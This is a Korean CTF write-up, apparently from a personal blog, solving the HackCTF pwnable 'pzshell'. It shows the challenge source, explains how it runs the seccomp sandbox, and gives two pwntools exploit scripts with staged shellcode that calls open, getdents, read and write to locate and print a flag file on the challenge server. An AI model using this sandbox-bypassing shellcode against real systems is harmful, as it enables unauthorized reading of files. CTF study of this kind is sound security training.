tmxklab

[HackCTF/Pwnable] pzshell 본문

War Game/HackCTF

[HackCTF/Pwnable] pzshell

tmxk4221 2020. 6. 11. 21:13

1. 문제 

nc ctf.j0n9hyun.xyz 3038

 

1) mitigation

 

2) 문제 확인

[pzshell.c]

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <seccomp.h>
#include <linux/seccomp.h>
#include <sys/prctl.h>
#include <fcntl.h>

void sandbox(void)
{
        scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_ALLOW);

        if (ctx == NULL)
        {
                write(1, "seccomp error\n", 15);
                exit(-1);
        }

        seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(fork), 0);
        seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(vfork), 0);
        seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(clone), 0);
        seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(creat), 0);
        seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(ptrace), 0);
        seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(prctl), 0);
        seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
        seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);

        if (seccomp_load(ctx) < 0)
        {
                seccomp_release(ctx);
                write(1, "seccomp error\n", 15);
                exit(-2);
        }

        seccomp_release(ctx);
}

void Init(void)
{
        setvbuf(stdin, 0, 2, 0);
        setvbuf(stdout, 0, 2, 0);
        setvbuf(stderr, 0, 2, 0);
}

int main(void)
{
        char s[0x10];
        char result[0x100] = "\x0F\x05\x48\x31\xED\x48\x31\xE4\x48\x31\xC0\x48\x31\xDB\x48\x31\xC9\x48\x31\xF6\x48\x31\xFF\x4D\x31\xC0\x4D\x31\xC9\x4D\x31\xD2\x4D\x31\xDB\x4D\x31\xE4\x4D\x31\xED\x4D\x31\xF6\x4D\x31\xFF\x66\xbe\xf1\xde";
        char filter[2] = {'\x0f', '\x05'};

        Init();

        read(0, s, 8);

        for (int i = 0; i < 2; i ++)
        {
                if (strchr(s, filter[i]))
                {
                        puts("filtering :)");
                        exit(1);
                }
        }

        strcat(result, s);

        sandbox();

        (*(void (*)()) result + 2)();
}

 

3) 코드흐름 파악

3-1) 전체적인 코드 흐름

 

result변수에 저장된 값 확인

→ 인스트럭션은 이전에 풀었던 ezshell과 비슷

→ ezshell과 2가지 차이가 존재하는데 rdx는 초기화 시키지 않으며 마지막에 "mov si, 0xdef1"이 존재

→ "mov si, 0xdef1"는 뒤에서 보면 필요한 인스트럭션임

 

그리고 filter변수에는 "\x0f"와 "\x05"가 들어있는 것을 확인 ("syscall")

 

이전에 풀었던 ezshell과 비슷하게 s변수에 8bytes까지 입력을 받고 s변수에 syscall("\x0f\x05")인스트럭션이 있는지 필터링을 한 후에 result변수와 s변수의 문자열을 합친다.

→ 임의의 데이터 8bytes를 s변수에 저장한 후 strcat수행 이후에 result에 저장된 값 확인

 

하지만, sandbox함수를 수행한 후에 쉘 코드를 실행한다.

 

3-2) sandbox함수 코드 흐름

여기서 처음보는 코드들을 볼 수 있다.

바로 seccomp.h라이브러리 함수들인 seccomp으로 시작하는 함수들이다.

void sandbox(void)
{
        scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_ALLOW);

        if (ctx == NULL)
        {
                write(1, "seccomp error\n", 15);
                exit(-1);
        }

        seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(fork), 0);
        seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(vfork), 0);
        seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(clone), 0);
        seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(creat), 0);
        seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(ptrace), 0);
        seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(prctl), 0);
        seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
        seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);

        if (seccomp_load(ctx) < 0)
        {
                seccomp_release(ctx);
                write(1, "seccomp error\n", 15);
                exit(-2);
        }

        seccomp_release(ctx);
}

 

참고 사이트)

 

seccomp(2) - Linux manual page

SECCOMP(2) Linux Programmer's Manual SECCOMP(2) NAME         top seccomp - operate on Secure Computing state of the process SYNOPSIS         top #include #include #include #include #include int seccomp(unsigned int operation, unsigned int flags, vo

www.man7.org

($man seccomp을 통해서도 확인할 수 있음)

 

scmp_filter_ctx seccomp_init(uint32_t def_action);
설명)
필터 상태를 초기화 시켜주는 함수
→ 기본 동작은 def_action에 의해 설정됨
→ 필터 구성을 마치고 커널에 로드하면 seccomp_release함수를 호출하여 모든 필터 상태를 해제해야 함.
SCMP_ACT_ALLOW : 필터 규칙과 일치하는 경우 호출하는 스레드에 영향을 미치지 않음
int seccomp_rule_add(scmp_filter_ctx ctx, uint32_t action, int syscall, unsigned int arg_cnt, ...);
설명)
현재 seccomp필터에 새 필터 규칙을 추가
→ 규칙을 추가한다 해서 seccomp_load함수를 호출하기 전까지는 적용되지 않음
SCMP_ACT_KILL : 필터 규칙과 일치하는 syscall을 호출할 때 커널에 의해 종료됨
int seccomp_load(scmp_filter_ctx ctx);
설명)
설정한 필터 규칙을 커널에 로드하여 필터를 활성화시킴
void seccomp_release(scmp_filter_ctx ctx);
설명)
필터 상태를 해제하고 연관된 메모리를 해제
+) seccomp(secure_computing mode) 추가설명
→ 리눅스에서 sandbox기반으로 시스템 콜을 허용 및 차단하여 공격의 가능성을 막는 리눅스 보안 메커니즘
→ seccomp은 프로세스가 exit(), sigreturn(), 그리고 이미 열린 파일 디스크립터에 대한 read(), write()를 제외한 어떠한 시스템 호출도 일으킬 수 없는 안전한 상태로 일방햔 변환을 할 수 있게 한다.

 

 

이제 위 sandbox함수의 기능을 간략히 설명하면,,,,

① seccomp_init함수를 통해 필터 상태를 모두 허용으로 해둔다.(초기화

② seccomp_rul_add함수를 통해 다음 syscall(fork, vfork, clone, ...)이 발생하면 종료시킨다. (필터 규칙 추가)

③ seccomp_load함수를 통해 커널에 로드하여 필터 규칙을 활성화 시킨다.(필터 규칙 활성화

④ seccomp_releas함수를 통해 필터 규칙을 해제한다.(필터 규칙 해제

 

즉, 쉘 코드를 실행하기전에 sandbox에서 필터링이 된다.


2. 접근방법 

seccomp에서 설정한 필터 규칙에 따라 syscall(execve)를 실행할 수 없으므로 쉘 권한을 딸 수가 없다.

 

우리는 flag파일을 찾아서 읽는 파일 내용을 읽는 것이 목적이므로 사실상 쉘 권한을 따지 않고 다른 방법을 이용하기로 한다.

 

1) flag파일 찾기 - sys_getdents(), sys_open()

1-1) sys_open()

sys_open을 사용하는 이유는 sys_getdents에서 파일 디스크립터가 필요하기 때문이다.

 

참고)

 리눅스에서는 모두 파일로 관리한다.(디렉토리든 뭐든간에)

 그리고 파일들을 접근할 때 필요한 값이 파일 디스크립터이다.

 따라서, filename에 경로를 입력하여 파일 디스크립터를 구하여 getdents에 사용할 것이다.

 

int open(const char *FILENAME, int FLAGS[, mode_t MODE]);

$rax $rdi $rsi $rdx
2 *filename flags mode

 

 

1-2) sys_getdents()

flag파일을 찾기 위해서 "ls"명령어와 비슷한 동작을 하도록 getdents함수를 사용하기로 한다.

getdents함수는 fd가 가리키는 디렉토리에 존재하는 파일들을 구하여 DIR*이 가리키는 메모리 공간(dirent변수)에 저장한다.

 

int getdends(unsigned int fd, struct dirent* dirent, unsigned int count);

$rax $rdi $rsi $rdx
78 fd dirent count

(count는 메모리 공간 크기이며 많은 정보를 저장하기 위해서는 엄청 큰 값을 넣으면 될 것 같다.)

 

정리)

 open하고 나면 fd값이 나옴

 fd값을 sys_getdents의 fd로 사용

 dirent는 buf값이며 buf값에 스택 주소 값이 저장되고 현재 지정한 디렉토리에 관련한 정보들 전부 포함됨

 

2) 파일 내용 읽고 출력하기

위 과정을 거쳐 flag파일을 찾으면 read()와 write()를 이용하여 화면에 출력하도록 한다.(자세한 설명은 생략)

 

3-1) 문제점 - read함수의 버퍼 크기(8bytes)

pzshell에서 result변수에 붙혀질 s변수를 받는 입력 값은 8bytes이다.

8bytes만으로 내가 원하는 쉘 코드를 작성할 수 없기에 여기서 한 번더 read함수를 호출하도록 한다.

 

read.asm)

global _start

section .text

_start:
        jmp short shellcode

shellcode:
        push rbp
        mov rbp, rsp
        sub rsp, 0x140
        lea rsi, [rbp-0x120]
        mov edx, 0x100
        mov edi, 0x0
        xor rax, rax
        syscall

위 어셈 코드에서 불필요한 인스트럭션을 제외하고 코드를 작성하여 byte수를 계산

(syscall은 필터링이 되므로 ezshell과 동일하게 syscall이 존재하는 주소로 jmp하는 어셈 코드를 추가 작성)

14bytes가 나온다.탈락(총 8bytes만 받을 수 있으므로)

 

이제 존나게 고민을 해봐야 한다... 후

 

3-2) 해결방법 - read함수의 버퍼 크기(8bytes)

근데 sys_read를 call하기 위해서 필요한 인자는 rax, rdi, rsi, rdx 총 4가지이다.

$rax $rdi $rsi $rdx
0 0 buf size

(rax : 0x0, rdi : 0x0, rsi : buf(주소 값), rdx : size)

그러나 벗! B.U.T rdx에는 스택 주소 값이 존재하며 rsi에는 "0xdef1"이 존재

 

따라서, rsi와 rdx를 서로 교환만해주고 syscall만 해주면 sys_read가 실행된다.

다행히 딱 8bytes된다.

 

실행 전)

 

실행 후)

 

임의의 값을 넣자 syscall 이후의 인스트럭션이 바뀌게 된다.

read를 통해 읽을 수 있는 사이즈는 "def1"bytes이므로 거의 사이즈 제한에 신경쓰지 않고 쉘 코드를 입력할 수 있다.

(참고로 gdb.attach()사용할 때 "aslr=Fasle"로 주면 무한 루프가 된다. 이유는 모르겠다.... 이것때매 2시간 날라갓음)

 

정리)

① rsi와 rdx를 서로 교환해주고 result변수의 syscall로 분기

② read함수가 다시 실행되면서 result변수에 원하는 쉘 코드 작성 가능

③ open함수를 통해 경로를 입력하여 파일 디스크립터 값 구하는 쉘 코드 작성

③ sys_getdents를 통해 파일을 찾는 쉘 코드 작성(이 때, open에서 구한 파일 디스크립터 값을 이용)

④ flag경로를 찾았으면 read, write함수를 통해 파일의 내용을 출력하는 쉘 코드 작성


3. 풀이 

1) sys_getdents를 통해 flag관련 파일 찾기

sys_getdents를 수행하면 dirents에 모든 파일 및 디렉토리의 정보들이 담겨져 있지만 우리가 필요한 것은 name이므로 name값만 전부 가져올 수 있도록 코딩을 한다.

 

참고 : https://www.man7.org/linux/man-pages/man2/getdents.2.html

 

getdents(2) - Linux manual page

GETDENTS(2) Linux Programmer's Manual GETDENTS(2) NAME         top getdents, getdents64 - get directory entries SYNOPSIS         top int getdents(unsigned int fd, struct linux_dirent *dirp, unsigned int count); int getdents64(unsigned int fd, struc

www.man7.org

 

위 사이트에서 코드를 조금 수정하여 다음과 같이 작성하였다.

#define _GNU_SOURCE
#include <dirent.h>     /* Defines DT_* constants */
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <string.h>

#define handle_error(msg) \
        do { perror(msg); exit(EXIT_FAILURE); } while (0)

struct linux_dirent {
    unsigned long  d_ino;
    off_t          d_off;
    unsigned short d_reclen;
    char           d_name[];
};

#define BUF_SIZE 1024

int main(int argc, char *argv[])
{
    int fd, nread, bpos;
    char buf[BUF_SIZE], d_type;
    struct linux_dirent *d;

    fd = open(".", 0);

    nread = syscall(SYS_getdents, fd, buf, BUF_SIZE);

    for (bpos = 0; bpos < nread;) {
        d = (struct linux_dirent *) (buf + bpos);
        //write(1, d->d_name, strlen(d->d_name));
        //write(1, d->d_name, 10);
        printf("%s ", d->d_name);
        bpos += d->d_reclen;
    }
    return 0;
}

 

실행 후)

 

이제 디버깅을 통해 필요한 어셈 코드만 가져오도록 한다.

(참고로 printf는 사용할 수 없으므로 write함수를 사용하여 출력)

 

익스 코드(open + getdents + write) - ls와 비슷한 동작을 하는 코드

from pwn import *

context(log_level="DEBUG", arch = "amd64", os = "linux")

#p = process("./pzshell")
p = remote("ctf.j0n9hyun.xyz", 3038)

#gdb.attach(p, """b*0x555555554ea0""")
#gdb.attach(p)

# 1. sys_read(0, result, 0xdef1)
p1 = asm("xchg rsi, rdx")
p1 += asm("jmp 0xffffffffffffffcb", vma=0x1)

p.send(p1)
log.info("[1] sys_read -> Success ")

# 2. sys_open - Get File Discripter
p2 = asm("xor rdx, rdx")
p2 += asm("mov rsp, QWORD PTR fs:[rdx]")
p2 += asm("mov rbp, rsp")
p2 += asm("sub rsp, 0x440")
p2 += asm("xor rbx, rbx")
p2 += asm("xor rsi, rsi")
p2 += asm("mov ebx, 0x2e")  # 0x2e = "."
p2 += asm("push rbx")
p2 += asm("push rsp")
p2 += asm("pop rdi")
p2 += asm("mov al, 0x2")
p2 += asm("syscall")

# 3. sys_getdents - Get Directory Info
p2 += asm("mov DWORD PTR [rbp-0x420], eax")
p2 += asm("mov edx, 0x400")
p2 += asm("lea rsi, [rbp-0x410]")
p2 += asm("mov edi, DWORD PTR [rbp-0x420]")
p2 += asm("mov al, 0x4e")
p2 += asm("syscall")

# 4. Setting
p2 += asm("mov DWORD PTR [rbp-0x41c], eax")
p2 += asm("mov DWORD PTR [rbp-0x424], 0x0")

# 5. jump Destination
p2 += asm("mov eax,DWORD PTR [rbp-0x424]")
p2 += asm("cdqe")   
p2 += asm("lea rdx,[rbp-0x410]")
p2 += asm("add rax,rdx")
p2 += asm("mov QWORD PTR [rbp-0x418],rax")
p2 += asm("mov rax,QWORD PTR [rbp-0x418]")
p2 += asm("add rax,0x12")

# 6. write - All Print(File Name) 
p2 += asm("mov edx,0x10")
p2 += asm("mov rsi,rax")
p2 += asm("mov edi,0x1")
p2 += asm("xor rax, rax")
p2 += asm("mov al, 0x1")
p2 += asm("syscall")
p2 += asm("mov rax,QWORD PTR [rbp-0x418]")
p2 += asm("movzx eax,WORD PTR [rax+0x10]")
p2 += asm("movzx eax,ax")
p2 += asm("add DWORD PTR [rbp-0x424],eax")
p2 += asm("mov eax,DWORD PTR [rbp-0x424]")
p2 += asm("cmp eax,DWORD PTR [rbp-0x41c]")

# 7. Jump -> # 5.
p2 += asm("jl 0xffffffffffffffa9", vma=0x1)


p.send(p2)

p.interactive()

먼저 현재 디렉토리에 대한 정보를 가져오기 위해 "."를 입력

 

어셈 코드 짜서 현재 디렉터리에 있는 파일들 조사

 

현재 디렉터리에 대한 정보에서 이름이 몇 개 출력되는 것을 볼 수 있다.

("..", ".", "S3cr3t_F14g", "main")

 

그중에서 좀 수상해보이는 파일 이름인 "S3cr3t_F14g" 이 보인다.

이제 저 파일을 한번 열어보자

 

2) sys_read, write를 통해 파일에 대한 내용 출력하기

파일 내용을 출력하는 쉘 코드

from pwn import *

context(log_level="DEBUG", arch = "amd64", os = "linux")

#p = process("./pzshell")
p = remote("ctf.j0n9hyun.xyz", 3038)

#gdb.attach(p, """b*0x555555554ea0""")
#gdb.attach(p)

# 1. sys_read(0, result, 0xdef1)
p1 = asm("xchg rsi, rdx")
p1 += asm("jmp 0xffffffffffffffcb", vma=0x1)

p.send(p1)
log.info("[1] sys_read -> Success ")

# 2. Generate stack
p2 = asm("xor rdx, rdx")
p2 += asm("mov rsp, QWORD PTR fs:[rdx]")
p2 += asm("mov rbp, rsp")
p2 += asm("sub rsp, 0x440")

# 3. "S3cr3t_F14g" push
p2 += asm("movabs rbx, 0x673431")
p2 += asm("push rbx")
p2 += asm("movabs rbx, 0x465f743372633353")
p2 += asm("push rbx")
p2 += asm("push rsp")
p2 += asm("pop rdi")

# 4. sys_open -> Get "S3cr3t_F14g" File Dicripter
p2 += asm("xor rbx, rbx")
p2 += asm("xor rsi, rsi")
p2 += asm("mov rdi, rsp")
p2 += asm("mov al, 0x2")
p2 += asm("syscall")

# 5. read(fd, buf[rbp-0x400], size); -> Store File contents
p2 += asm("mov rdx, 40")
p2 += asm("lea rsi, [rbp-0x400]")
p2 += asm("mov rdi, rax")
p2 += asm("xor rax, rax")
p2 += asm("syscall")

# 6. write(1, buf[rbp-0x400], size); -> Print File Contents   
p2 += asm("mov edx,0x20")
p2 += asm("lea rsi, [rbp-0x400]")
p2 += asm("mov edi, 0x1")
p2 += asm("xor rax, rax")
p2 += asm("mov al, 0x1")
p2 += asm("syscall")

p.send(p2)

p.interactive()

 

실행결과)

 

'War Game > HackCTF' 카테고리의 다른 글

[HackCTF/Pwnable] you_are_silver  (0) 2020.06.30
[HackCTF/Pwnable] Pwning  (2) 2020.06.23
[HackCTF/Pwnable] ezshell  (0) 2020.06.11
[HackCTF/Pwnable] Gift  (0) 2020.05.18
[HackCTF/Pwnable] Look at me  (0) 2020.03.07
Comments